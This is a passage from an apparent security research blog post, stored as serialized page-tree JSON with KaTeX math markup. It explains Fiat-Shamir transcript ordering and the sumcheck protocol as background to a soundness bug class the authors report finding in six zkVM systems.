verifies.",{"type":23,"tag":421,"props":108130,"children":108131},{},[108132,108137],{"type":23,"tag":510,"props":108133,"children":108134},{},[108135],{"type":28,"value":108136},"Soundness",{"type":28,"value":108138},": false execution should not verify.",{"type":23,"tag":24,"props":108140,"children":108141},{},[108142,108144,108148],{"type":28,"value":108143},"We are breaking ",{"type":23,"tag":510,"props":108145,"children":108146},{},[108147],{"type":28,"value":108114},{"type":28,"value":108149}," in all six systems.",{"type":23,"tag":24,"props":108151,"children":108152},{},[108153],{"type":28,"value":108154},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":5436,"props":108156,"children":108157},{},[108158,108163,108168,108173,108178,108183],{"type":23,"tag":421,"props":108159,"children":108160},{},[108161],{"type":28,"value":108162},"Fix public statement data.",{"type":23,"tag":421,"props":108164,"children":108165},{},[108166],{"type":28,"value":108167},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":421,"props":108169,"children":108170},{},[108171],{"type":28,"value":108172},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":421,"props":108174,"children":108175},{},[108176],{"type":28,"value":108177},"Check constraint equations at sampled points.",{"type":23,"tag":421,"props":108179,"children":108180},{},[108181],{"type":28,"value":108182},"Check PCS/opening consistency.",{"type":23,"tag":421,"props":108184,"children":108185},{},[108186],{"type":28,"value":108187},"Accept only if all checks are jointly consistent.",{"type":23,"tag":24,"props":108189,"children":108190},{},[108191],{"type":23,"tag":3918,"props":108192,"children":108195},{"alt":108193,"src":108194},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":24,"props":108197,"children":108198},{},[108199],{"type":28,"value":108200},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":442,"props":108202,"children":108203},{},[],{"type":23,"tag":446,"props":108205,"children":108207},{"id":108206},"the-building-blocks",[108208],{"type":28,"value":108209},"The Building Blocks",{"type":23,"tag":24,"props":108211,"children":108212},{},[108213],{"type":28,"value":108214},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":546,"props":108216,"children":108218},{"id":108217},"the-fiat-shamir-transform",[108219],{"type":28,"value":108220},"The Fiat-Shamir Transform",{"type":23,"tag":24,"props":108222,"children":108223},{},[108224],{"type":28,"value":108225},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":24,"props":108227,"children":108228},{},[108229],{"type":28,"value":108230},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":24,"props":108232,"children":108233},{},[108234],{"type":23,"tag":3918,"props":108235,"children":108238},{"alt":108236,"src":108237},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":24,"props":108240,"children":108241},{},[108242,108244,108248,108250,108255],{"type":28,"value":108243},"The hash (transcript) ",{"type":23,"tag":510,"props":108245,"children":108246},{},[108247],{"type":28,"value":6518},{"type":28,"value":108249}," include everything that affects verification ",{"type":23,"tag":510,"props":108251,"children":108252},{},[108253],{"type":28,"value":108254},"BEFORE",{"type":28,"value":108256}," the challenges derived from it are used.",{"type":23,"tag":24,"props":108258,"children":108259},{},[108260,108262,108288,108290,108315,108317,108342,108344,108369,108371,108396],{"type":28,"value":108261},"If some value ",{"type":23,"tag":37,"props":108263,"children":108265},{"className":108264},[3984,3985],[108266],{"type":23,"tag":41,"props":108267,"children":108269},{"className":108268},[3990],[108270],{"type":23,"tag":41,"props":108271,"children":108273},{"className":108272,"ariaHidden":3996},[3995],[108274],{"type":23,"tag":41,"props":108275,"children":108277},{"className":108276},[4001],[108278,108282],{"type":23,"tag":41,"props":108279,"children":108281},{"className":108280,"style":21569},[4006],[],{"type":23,"tag":41,"props":108283,"children":108285},{"className":108284,"style":107963},[4012,21574],[108286],{"type":28,"value":108287},"V",{"type":28,"value":108289}," affects a verification equation, but ",{"type":23,"tag":37,"props":108291,"children":108293},{"className":108292},[3984,3985],[108294],{"type":23,"tag":41,"props":108295,"children":108297},{"className":108296},[3990],[108298],{"type":23,"tag":41,"props":108299,"children":108301},{"className":108300,"ariaHidden":3996},[3995],[108302],{"type":23,"tag":41,"props":108303,"children":108305},{"className":108304},[4001],[108306,108310],{"type":23,"tag":41,"props":108307,"children":108309},{"className":108308,"style":21569},[4006],[],{"type":23,"tag":41,"props":108311,"children":108313},{"className":108312,"style":107963},[4012,21574],[108314],{"type":28,"value":108287},{"type":28,"value":108316}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":37,"props":108318,"children":108320},{"className":108319},[3984,3985],[108321],{"type":23,"tag":41,"props":108322,"children":108324},{"className":108323},[3990],[108325],{"type":23,"tag":41,"props":108326,"children":108328},{"className":108327,"ariaHidden":3996},[3995],[108329],{"type":23,"tag":41,"props":108330,"children":108332},{"className":108331},[4001],[108333,108337],{"type":23,"tag":41,"props":108334,"children":108336},{"className":108335,"style":21569},[4006],[],{"type":23,"tag":41,"props":108338,"children":108340},{"className":108339,"style":107963},[4012,21574],[108341],{"type":28,"value":108287},{"type":28,"value":108343},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":37,"props":108345,"children":108347},{"className":108346},[3984,3985],[108348],{"type":23,"tag":41,"props":108349,"children":108351},{"className":108350},[3990],[108352],{"type":23,"tag":41,"props":108353,"children":108355},{"className":108354,"ariaHidden":3996},[3995],[108356],{"type":23,"tag":41,"props":108357,"children":108359},{"className":108358},[4001],[108360,108364],{"type":23,"tag":41,"props":108361,"children":108363},{"className":108362,"style":21569},[4006],[],{"type":23,"tag":41,"props":108365,"children":108367},{"className":108366,"style":107963},[4012,21574],[108368],{"type":28,"value":108287},{"type":28,"value":108370},", which may allow it to choose ",{"type":23,"tag":37,"props":108372,"children":108374},{"className":108373},[3984,3985],[108375],{"type":23,"tag":41,"props":108376,"children":108378},{"className":108377},[3990],[108379],{"type":23,"tag":41,"props":108380,"children":108382},{"className":108381,"ariaHidden":3996},[3995],[108383],{"type":23,"tag":41,"props":108384,"children":108386},{"className":108385},[4001],[108387,108391],{"type":23,"tag":41,"props":108388,"children":108390},{"className":108389,"style":21569},[4006],[],{"type":23,"tag":41,"props":108392,"children":108394},{"className":108393,"style":107963},[4012,21574],[108395],{"type":28,"value":108287},{"type":28,"value":108397}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":24,"props":108399,"children":108400},{},[108401],{"type":28,"value":108402},"This is the bug class we found in all six systems.",{"type":23,"tag":546,"props":108404,"children":108406},{"id":108405},"the-sumcheck-protocol",[108407],{"type":28,"value":108408},"The Sumcheck Protocol",{"type":23,"tag":24,"props":108410,"children":108411},{},[108412,108414,108500],{"type":28,"value":108413},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":37,"props":108415,"children":108417},{"className":108416},[3984,3985],[108418],{"type":23,"tag":41,"props":108419,"children":108421},{"className":108420},[3990],[108422],{"type":23,"tag":41,"props":108423,"children":108425},{"className":108424,"ariaHidden":3996},[3995],[108426],{"type":23,"tag":41,"props":108427,"children":108429},{"className":108428},[4001],[108430,108434,108439,108444,108449,108453,108458],{"type":23,"tag":41,"props":108431,"children":108433},{"className":108432,"style":4113},[4006],[],{"type":23,"tag":41,"props":108435,"children":108437},{"className":108436},[21703],[108438],{"type":28,"value":76613},{"type":23,"tag":41,"props":108440,"children":108442},{"className":108441},[4012],[108443],{"type":28,"value":4024},{"type":23,"tag":41,"props":108445,"children":108447},{"className":108446},[4124],[108448],{"type":28,"value":4127},{"type":23,"tag":41,"props":108450,"children":108452},{"className":108451,"style":4131},[4092],[],{"type":23,"tag":41,"props":108454,"children":108456},{"className":108455},[4012],[108457],{"type":28,"value":317},{"type":23,"tag":41,"props":108459,"children":108461},{"className":108460},[21725],[108462,108467],{"type":23,"tag":41,"props":108463,"children":108465},{"className":108464},[21725],[108466],{"type":28,"value":34134},{"type":23,"tag":41,"props":108468,"children":108470},{"className":108469},[4028],[108471],{"type":23,"tag":41,"props":108472,"children":108474},{"className":108473},[4033],[108475],{"type":23,"tag":41,"props":108476,"children":108478},{"className":108477},[4038],[108479],{"type":23,"tag":41,"props":108480,"children":108483},{"className":108481,"style":108482},[4043],"height:0.6644em;",[108484],{"type":23,"tag":41,"props":108485,"children":108486},{"style":4047},[108487,108491],{"type":23,"tag":41,"props":108488,"children":108490},{"className":108489,"style":4053},[4052],[],{"type":23,"tag":41,"props":108492,"children":108494},{"className":108493},[4058,4059,4060,4061],[108495],{"type":23,"tag":41,"props":108496,"children":108498},{"className":108497},[4012,21574,4061],[108499],{"type":28,"value":56399},{"type":28,"value":108501},"), i.e the claim:",{"type":23,"tag":24,"props":108503,"children":108504},{},[108505],{"type":23,"tag":37,"props":108506,"children":108508},{"className":108507},[3984,3985],[108509],{"type":23,"tag":41,"props":108510,"children":108512},{"className":108511},[3990],[108513],{"type":23,"tag":41,"props":108514,"children":108516},{"className":108515,"ariaHidden":3996},[3995],[108517,108543],{"type":23,"tag":41,"props":108518,"children":108520},{"className":108519},[4001],[108521,108525,108530,108534,108539],{"type":23,"tag":41,"props":108522,"children":108524},{"className":108523,"style":21569},[4006],[],{"type":23,"tag":41,"props":108526,"children":108528},{"className":108527,"style":92999},[4012,21574],[108529],{"type":28,"value":93002},{"type":23,"tag":41,"props":108531,"children":108533},{"className":108532,"style":4190},[4092],[],{"type":23,"tag":41,"props":108535,"children":108537},{"className":108536},[4195],[108538],{"type":28,"value":2381},{"type":23,"tag":41,"props":108540,"children":108542},{"className":108541,"style":4190},[4092],[],{"type":23,"tag":41,"props":108544,"children":108546},{"className":108545},[4001],[108547,108551,108701,108705,108848,108852,108859,108863,109007,109011,109017,109022,109079,109084,109088,109145,109150,109154,109160,109164,109169,109173,109231],{"type":23,"tag":41,"props":108548,"children":108550},{"className":108549,"style":21605},[4006],[],{"type":23,"tag":41,"props":108552,"children":108554},{"className":108553},[21610],[108555,108561],{"type":23,"tag":41,"props":108556,"children":108558},{"className":108557,"style":21617},[21610,21615,21616],[108559],{"type":28,"value":108560},"∑",{"type":23,"tag":41,"props":108562,"children":108564},{"className":108563},[4028],[108565],{"type":23,"tag":41,"props":108566,"children":108568},{"className":108567},[4033,21628],[108569,108690],{"type":23,"tag":41,"props":108570,"children":108572},{"className":108571},[4038],[108573,108685],{"type":23,"tag":41,"props":108574,"children":108576},{"className":108575,"style":21637},[4043],[108577],{"type":23,"tag":41,"props":108578,"children":108579},{"style":21641},[108580,108584],{"type":23,"tag":41,"props":108581,"children":108583},{"className":108582,"style":4053},[4052],[],{"type":23,"tag":41,"props":108585,"children":108587},{"className":108586},[4058,4059,4060,4061],[108588],{"type":23,"tag":41,"props":108589,"children":108591},{"className":108590},[4012,4061],[108592,108655,108660,108665,108670,108675,108680],{"type":23,"tag":41,"props":108593,"children":108595},{"className":108594},[4012,4061],[108596,108601],{"type":23,"tag":41,"props":108597,"children":108599},{"className":108598},[4012,21574,4061],[108600],{"type":28,"value":19263},{"type":23,"tag":41,"props":108602,"children":108604},{"className":108603},[4028],[108605],{"type":23,"tag":41,"props":108606,"children":108608},{"className":108607},[4033,21628],[108609,108643],{"type":23,"tag":41,"props":108610,"children":108612},{"className":108611},[4038],[108613,108638],{"type":23,"tag":41,"props":108614,"children":108617},{"className":108615,"style":108616},[4043],"height:0.3173em;",[108618],{"type":23,"tag":41,"props":108619,"children":108621},{"style":108620},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[108622,108627],{"type":23,"tag":41,"props":108623,"children":108626},{"className":108624,"style":108625},[4052],"height:2.5em;",[],{"type":23,"tag":41,"props":108628,"children":108632},{"className":108629},[4058,108630,108631,4061],"reset-size3","size1",[108633],{"type":23,"tag":41,"props":108634,"children":108636},{"className":108635},[4012,4061],[108637],{"type":28,"value":317},{"type":23,"tag":41,"props":108639,"children":108641},{"className":108640},[21731],[108642],{"type":28,"value":21734},{"type":23,"tag":41,"props":108644,"children":108646},{"className":108645},[4038],[108647],{"type":23,"tag":41,"props":108648,"children":108651},{"className":108649,"style":108650},[4043],"height:0.143em;",[108652],{"type":23,"tag":41,"props":108653,"children":108654},{},[],{"type":23,"tag":41,"props":108656,"children":108658},{"className":108657},[4195,4061],[108659],{"type":28,"value":21681},{"type":23,"tag":41,"props":108661,"children":108663},{"className":108662},[21703,4061],[108664],{"type":28,"value":76613},{"type":23,"tag":41,"props":108666,"children":108668},{"className":108667},[4012,4061],[108669],{"type":28,"value":4024},{"type":23,"tag":41,"props":108671,"children":108673},{"className":108672},[4124,4061],[108674],{"type":28,"value":4127},{"type":23,"tag":41,"props":108676,"children":108678},{"className":108677},[4012,4061],[108679],{"type":28,"value":317},{"type":23,"tag":41,"props":108681,"children":108683},{"className":108682},[21725,4061],[108684],{"type":28,"value":34134},{"type":23,"tag":41,"props":108686,"children":108688},{"className":108687},[21731],[108689],{"type":28,"value":21734},{"type":23,"tag":41,"props":108691,"children":108693},{"className":108692},[4038],[108694],{"type":23,"tag":41,"props":108695,"children":108697},{"className":108696,"style":21742},[4043],[108698],{"type":23,"tag":41,"props":108699,"children":108700},{},[],{"type":23,"tag":41,"props":108702,"children":108704},{"className":108703,"style":4131},[4092],[],{"type":23,"tag":41,"props":108706,"children":108708},{"className":108707},[21610],[108709,108714],{"type":23,"tag":41,"props":108710,"children":108712},{"className":108711,"style":21617},[21610,21615,21616],[108713],{"type":28,"value":108560},{"type":23,"tag":41,"props":108715,"children":108717},{"className":108716},[4028],[108718],{"type":23,"tag":41,"props":108719,"children":108721},{"className":108720},[4033,21628],[108722,108837],{"type":23,"tag":41,"props":108723,"children":108725},{"className":108724},[4038],[108726,108832],{"type":23,"tag":41,"props":108727,"children":108729},{"className":108728,"style":21637},[4043],[108730],{"type":23,"tag":41,"props":108731,"children":108732},{"style":21641},[108733,108737],{"type":23,"tag":41,"props":108734,"children":108736},{"className":108735,"style":4053},[4052],[],{"type":23,"tag":41,"props":108738,"children":108740},{"className":108739},[4058,4059,4060,4061],[108741],{"type":23,"tag":41,"props":108742,"children":108744},{"className":108743},[4012,4061],[108745,108802,108807,108812,108817,108822,108827],{"type":23,"tag":41,"props":108746,"children":108748},{"className":108747},[4012,4061],[108749,108754],{"type":23,"tag":41,"props":108750,"children":108752},{"className":108751},[4012,21574,4061],[108753],{"type":28,"value":19263},{"type":23,"tag":41,"props":108755,"children":108757},{"className":108756},[4028],[108758],{"type":23,"tag":41,"props":108759,"children":108761},{"className":108760},[4033,21628],[108762,108791],{"type":23,"tag":41,"props":108763,"children":108765},{"className":108764},[4038],[108766,108786],{"type":23,"tag":41,"props":108767,"children":108769},{"className":108768,"style":108616},[4043],[108770],{"type":23,"tag":41,"props":108771,"children":108772},{"style":108620},[108773,108777],{"type":23,"tag":41,"props":108774,"children":108776},{"className":108775,"style":108625},[4052],[],{"type":23,"tag":41,"props":108778,"children":108780},{"className":108779},[4058,108630,108631,4061],[108781],{"type":23,"tag":41,"props":108782,"children":108784},{"className":108783},[4012,4061],[108785],{"type":28,"value":3123},{"type":23,"tag":41,"props":108787,"children":108789},{"className":108788},[21731],[108790],{"type":28,"value":21734},{"type":23,"tag":41,"props":108792,"children":108794},{"className":108793},[4038],[108795],{"type":23,"tag":41,"props":108796,"children":108798},{"className":108797,"style":108650},[4043],[108799],{"type":23,"tag":41,"props":108800,"children":108801},{},[],{"type":23,"tag":41,"props":108803,"children":108805},{"className":108804},[4195,4061],[108806],{"type":28,"value":21681},{"type":23,"tag":41,"props":108808,"children":108810},{"className":108809},[21703,4061],[108811],{"type":28,"value":76613},{"type":23,"tag":41,"props":108813,"children":108815},{"className":108814},[4012,4061],[108816],{"type":28,"value":4024},{"type":23,"tag":41,"props":108818,"children":108820},{"className":108819},[4124,4061],[108821],{"type":28,"value":4127},{"type":23,"tag":41,"props":108823,"children":108825},{"className":108824},[4012,4061],[108826],{"type":28,"value":317},{"type":23,"tag":41,"props":108828,"children":108830},{"className":108829},[21725,4061],[108831],{"type":28,"value":34134},{"type":23,"tag":41,"props":108833,"children":108835},{"className":108834},[21731],[108836],{"type":28,"value":21734},{"type":23,"tag":41,"props":108838,"children":108840},{"className":108839},[4038],[108841],{"type":23,"tag":41,"props":108842,"children":108844},{"className":108843,"style":21742},[4043],[108845],{"type":23,"tag":41,"props":108846,"children":108847},{},[],{"type":23,"tag":41,"props":108849,"children":108851},{"className":108850,"style":4131},[4092],[],{"type":23,"tag":41,"props":108853,"children":108856},{"className":108854},[108855],"minner",[108857],{"type":28,"value":108858},"⋯",{"type":23,"tag":41,"props":108860,"children":108862},{"className":108861,"style":4131},[4092],[],{"type":23,"tag":41,"props":108864,"children":108866},{"className":108865},[21610],[108867,108872],{"type":23,"tag":41,"props":108868,"children":108870},{"className":108869,"style":21617},[21610,21615,21616],[108871],{"type":28,"value":108560},{"type":23,"tag":41,"props":108873,"children":108875},{"className":108874},[4028],[108876],{"type":23,"tag":41,"props":108877,"children":108879},{"className":108878},[4033,21628],[108880,108996],{"type":23,"tag":41,"props":108881,"children":108883},{"className":108882},[4038],[108884,108991],{"type":23,"tag":41,"props":108885,"children":108887},{"className":108886,"style":21637},[4043],[108888],{"type":23,"tag":41,"props":108889,"children":108890},{"style":21641},[108891,108895],{"type":23,"tag":41,"props":108892,"children":108894},{"className":108893,"style":4053},[4052],[],{"type":23,"tag":41,"props":108896,"children":108898},{"className":108897},[4058,4059,4060,4061],[108899],{"type":23,"tag":41,"props":108900,"children":108902},{"className":108901},[4012,4061],[108903,108961,108966,108971,108976,108981,108986],{"type":23,"tag":41,"props":108904,"children":108906},{"className":108905},[4012,4061],[108907,108912],{"type":23,"tag":41,"props":108908,"children":108910},{"className":108909},[4012,21574,4061],[108911],{"type":28,"value":19263},{"type":23,"tag":41,"props":108913,"children":108915},{"className":108914},[4028],[108916],{"type":23,"tag":41,"props":108917,"children":108919},{"className":108918},[4033,21628],[108920,108950],{"type":23,"tag":41,"props":108921,"children":108923},{"className":108922},[4038],[108924,108945],{"type":23,"tag":41,"props":108925,"children":108928},{"className":108926,"style":108927},[4043],"height:0.1645em;",[108929],{"type":23,"tag":41,"props":108930,"children":108931},{"style":108620},[108932,108936],{"type":23,"tag":41,"props":108933,"children":108935},{"className":108934,"style":108625},[4052],[],{"type":23,"tag":41,"props":108937,"children":108939},{"className":108938},[4058,108630,108631,4061],[108940],{"type":23,"tag":41,"props":108941,"children":108943},{"className":108942},[4012,21574,4061],[108944],{"type":28,"value":56399},{"type":23,"tag":41,"props":108946,"children":108948},{"className":108947},[21731],[108949],{"type":28,"value":21734},{"type":23,"tag":41,"props":108951,"children":108953},{"className":108952},[4038],[108954],{"type":23,"tag":41,"props":108955,"children":108957},{"className":108956,"style":108650},[4043],[108958],{"type":23,"tag":41,"props":108959,"children":108960},{},[],{"type":23,"tag":41,"props":108962,"children":108964},{"className":108963},[4195,4061],[108965],{"type":28,"value":21681},{"type":23,"tag":41,"props":108967,"children":108969},{"className":108968},[21703,4061],[108970],{"type":28,"value":76613},{"type":23,"tag":41,"props":108972,"children":108974},{"className":108973},[4012,4061],[108975],{"type":28,"value":4024},{"type":23,"tag":41,"props":108977,"children":108979},{"className":108978},[4124,4061],[108980],{"type":28,"value":4127},{"type":23,"tag":41,"props":108982,"children":108984},{"className":108983},[4012,4061],[108985],{"type":28,"value":317},{"type":23,"tag":41,"props":108987,"children":108989},{"className":108988},[21725,4061],[108990],{"type":28,"value":34134},{"type":23,"tag":41,"props":108992,"children":108994},{"className":108993},[21731],[108995],{"type":28,"value":21734},{"type":23,"tag":41,"props":108997,"children":108999},{"className":108998},[4038],[109000],{"type":23,"tag":41,"props":109001,"children":109003},{"className":109002,"style":21742},[4043],[109004],{"type":23,"tag":41,"props":109005,"children":109006},{},[],{"type":23,"tag":41,"props":109008,"children":109010},{"className":109009,"style":4131},[4092],[],{"type":23,"tag":41,"props":109012,"children":109014},{"className":109013,"style":93251},[4012,21574],[109015],{"type":28,"value":109016},"g",{"type":23,"tag":41,"props":109018,"children":109020},{"className":109019},[21703],[109021],{"type":28,"value":1737},{"type":23,"tag":41,"props":109023,"children":109025},{"className":109024},[4012],[109026,109031],{"type":23,"tag":41,"props":109027,"children":109029},{"className":109028},[4012,21574],[109030],{"type":28,"value":19263},{"type":23,"tag":41,"props":109032,"children":109034},{"className":109033},[4028],[109035],{"type":23,"tag":41,"props":109036,"children":109038},{"className":109037},[4033,21628],[109039,109068],{"type":23,"tag":41,"props":109040,"children":109042},{"className":109041},[4038],[109043,109063],{"type":23,"tag":41,"props":109044,"children":109046},{"className":109045,"style":92817},[4043],[109047],{"type":23,"tag":41,"props":109048,"children":109049},{"style":92821},[109050,109054],{"type":23,"tag":41,"props":109051,"children":109053},{"className":109052,"style":4053},[4052],[],{"type":23,"tag":41,"props":109055,"children":109057},{"className":109056},[4058,4059,4060,4061],[109058],{"type":23,"tag":41,"props":109059,"children":109061},{"className":109060},[4012,4061],[109062],{"type":28,"value":317},{"type":23,"tag":41,"props":109064,"children":109066},{"className":109065},[21731],[109067],{"type":28,"value":21734},{"type":23,"tag":41,"props":109069,"children":109071},{"className":109070},[4038],[109072],{"type":23,"tag":41,"props":109073,"children":109075},{"className":109074,"style":92848},[4043],[109076],{"type":23,"tag":41,"props":109077,"children":109078},{},[],{"type":23,"tag":41,"props":109080,"children":109082},{"className":109081},[4124],[109083],{"type":28,"value":4127},{"type":23,"tag":41,"props":109085,"children":109087},{"className":109086,"style":4131},[4092],[],{"type":23,"tag":41,"props":109089,"children":109091},{"className":109090},[4012],[109092,109097],{"type":23,"tag":41,"props":109093,"children":109095},{"className":109094},[4012,21574],[109096],{"type":28,"value":19263},{"type":23,"tag":41,"props":109098,"children":109100},{"className":109099},[4028],[109101],{"type":23,"tag":41,"props":109102,"children":109104},{"className":109103},[4033,21628],[109105,109134],{"type":23,"tag":41,"props":109106,"children":109108},{"className":109107},[4038],[109109,109129],{"type":23,"tag":41,"props":109110,"children":109112},{"className":109111,"style":92817},[4043],[109113],{"type":23,"tag":41,"props":109114,"children":109115},{"style":92821},[109116,109120],{"type":23,"tag":41,"props":109117,"children":109119},{"className":109118,"style":4053},[4052],[],{"type":23,"tag":41,"props":109121,"children":109123},{"className":109122},[4058,4059,4060,4061],[109124],{"type":23,"tag":41,"props":109125,"children":109127},{"className":109126},[4012,4061],[109128],{"type":28,"value":3123},{"type":23,"tag":41,"props":109130,"children":109132},{"className":109131},[21731],[109133],{"type":28,"value":21734},{"type":23,"tag":41,"props":109135,"children":109137},{"className":109136},[4038],[109138],{"type":23,"tag":41,"props":109139,"children":109141},{"className":109140,"style":92848},[4043],[109142],{"type":23,"tag":41,"props":109143,"children":109144},{},[],{"type":23,"tag":41,"props":109146,"children":109148},{"className":109147},[4124],[109149],{"type":28,"value":4127},{"type":23,"tag":41,"props":109151,"children":109153},{"className":109152,"style":4131},[4092],[],{"type":23,"tag":41,"props":109155,"children":109157},{"className":109156},[108855],[109158],{"type":28,"value":109159},"…",{"type":23,"tag":41,"props":109161,"children":109163},{"className":109162,"style":4131},[4092],[],{"type":23,"tag":41,"props":109165,"children":109167},{"className":109166},[4124],[109168],{"type":28,"value":4127},{"type":23,"tag":41,"props":109170,"children":109172},{"className":109171,"style":4131},[4092],[],{"type":23,"tag":41,"props":109174,"children":109176},{"className":109175},[4012],[109177,109182],{"type":23,"tag":41,"props":109178,"children":109180},{"className":109179},[4012,21574],[109181],{"type":28,"value":19263},{"type":23,"tag":41,"props":109183,"children":109185},{"className":109184},[4028],[109186],{"type":23,"tag":41,"props":109187,"children":109189},{"className":109188},[4033,21628],[109190,109220],{"type":23,"tag":41,"props":109191,"children":109193},{"className":109192},[4038],[109194,109215],{"type":23,"tag":41,"props":109195,"children":109198},{"className":109196,"style":109197},[4043],"height:0.1514em;",[109199],{"type":23,"tag":41,"props":109200,"children":109201},{"style":92821},[109202,109206],{"type":23,"tag":41,"props":109203,"children":109205},{"className":109204,"style":4053},[4052],[],{"type":23,"tag":41,"props":109207,"children":109209},{"className":109208},[4058,4059,4060,4061],[109210],{"type":23,"tag":41,"props":109211,"children":109213},{"className":109212},[4012,21574,4061],[109214],{"type":28,"value":56399},{"type":23,"tag":41,"props":109216,"children":109218},{"className":109217},[21731],[109219],{"type":28,"value":21734},{"type":23,"tag":41,"props":109221,"children":109223},{"className":109222},[4038],[109224],{"type":23,"tag":41,"props":109225,"children":109227},{"className":109226,"style":92848},[4043],[109228],{"type":23,"tag":41,"props":109229,"children":109230},{},[],{"type":23,"tag":41,"props":109232,"children":109234},{"className":109233},[21725],[109235],{"type":28,"value":2678},{"type":23,"tag":24,"props":109237,"children":109238},{},[109239,109241,109302],{"type":28,"value":109240},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":37,"props":109242,"children":109244},{"className":109243},[3984,3985],[109245],{"type":23,"tag":41,"props":109246,"children":109248},{"className":109247},[3990],[109249],{"type":23,"tag":41,"props":109250,"children":109252},{"className":109251,"ariaHidden":3996},[3995],[109253],{"type":23,"tag":41,"props":109254,"children":109256},{"className":109255},[4001],[109257,109261],{"type":23,"tag":41,"props":109258,"children":109260},{"className":109259,"style":108482},[4006],[],{"type":23,"tag":41,"props":109262,"children":109264},{"className":109263},[4012],[109265,109270],{"type":23,"tag":41,"props":109266,"children":109268},{"className":109267},[4012],[109269],{"type":28,"value":3123},{"type":23,"tag":41,"props":109271,"children":109273},{"className":109272},[4028],[109274],{"type":23,"tag":41,"props":109275,"children":109277},{"className":109276},[4033],[109278],{"type":23,"tag":41,"props":109279,"children":109281},{"className":109280},[4038],[109282],{"type":23,"tag":41,"props":109283,"children":109285},{"className":109284,"style":108482},[4043],[109286],{"type":23,"tag":41,"props":109287,"children":109288},{"style":4047},[109289,109293],{"type":23,"tag":41,"props":109290,"children":109292},{"className":109291,"style":4053},[4052],[],{"type":23,"tag":41,"props":109294,"children":109296},{"className":109295},[4058,4059,4060,4061],[109297],{"type":23,"tag":41,"props":109298,"children":109300},{"className":109299},[4012,21574,4061],[109301],{"type":28,"value":56399},{"type":28,"value":109303}," evaluations. This is exponentially expensive.",{"type":23,"tag":24,"props":109305,"children":109306},{},[109307,109309,109314],{"type":28,"value":109308},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":510,"props":109310,"children":109311},{},[109312],{"type":28,"value":109313},"only one",{"type":28,"value":706},{"type":23,"tag":24,"props":109316,"children":109317},{},[109318],{"type":23,"tag":3918,"props":109319,"children":109322},{"alt":109320,"src":109321},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":24,"props":109324,"children":109325},{},[109326,109328,109420,109422,109607,109609,109634,109636,109714,109716,109795],{"type":28,"value":109327},"In each round, the prover must send a polynomial ",{"type":23,"tag":37,"props":109329,"children":109331},{"className":109330},[3984,3985],[109332],{"type":23,"tag":41,"props":109333,"children":109335},{"className":109334},[3990],[109336],{"type":23,"tag":41,"props":109337,"children":109339},{"className":109338,"ariaHidden":3996},[3995],[109340],{"type":23,"tag":41,"props":109341,"children":109343},{"className":109342},[4001],[109344,109348,109405,109410,109415],{"type":23,"tag":41,"props":109345,"children":109347},{"className":109346,"style":4113},[4006],[],{"type":23,"tag":41,"props":109349,"children":109351},{"className":109350},[4012],[109352,109357],{"type":23,"tag":41,"props":109353,"children":109355},{"className":109354,"style":93251},[4012,21574],[109356],{"type":28,"value":109016},{"type":23,"tag":41,"props":109358,"children":109360},{"className":109359},[4028],[109361],{"type":23,"tag":41,"props":109362,"children":109364},{"className":109363},[4033,21628],[109365,109394],{"type":23,"tag":41,"props":109366,"children":109368},{"className":109367},[4038],[109369,109389],{"type":23,"tag":41,"props":109370,"children":109372},{"className":109371,"style":93294},[4043],[109373],{"type":23,"tag":41,"props":109374,"children":109375},{"style":93298},[109376,109380],{"type":23,"tag":41,"props":109377,"children":109379},{"className":109378,"style":4053},[4052],[],{"type":23,"tag":41,"props":109381,"children":109383},{"className":109382},[4058,4059,4060,4061],[109384],{"type":23,"tag":41,"props":109385,"children":109387},{"className":109386},[4012,21574,4061],[109388],{"type":28,"value":3737},{"type":23,"tag":41,"props":109390,"children":109392},{"className":109391},[21731],[109393],{"type":28,"value":21734},{"type":23,"tag":41,"props":109395,"children":109397},{"className":109396},[4038],[109398],{"type":23,"tag":41,"props":109399,"children":109401},{"className":109400,"style":92848},[4043],[109402],{"type":23,"tag":41,"props":109403,"children":109404},{},[],{"type":23,"tag":41,"props":109406,"children":109408},{"className":109407},[21703],[109409],{"type":28,"value":1737},{"type":23,"tag":41,"props":109411,"children":109413},{"className":109412,"style":94785},[4012,21574],[109414],{"type":28,"value":6131},{"type":23,"tag":41,"props":109416,"children":109418},{"className":109417},[21725],[109419],{"type":28,"value":2678},{"type":28,"value":109421}," such that 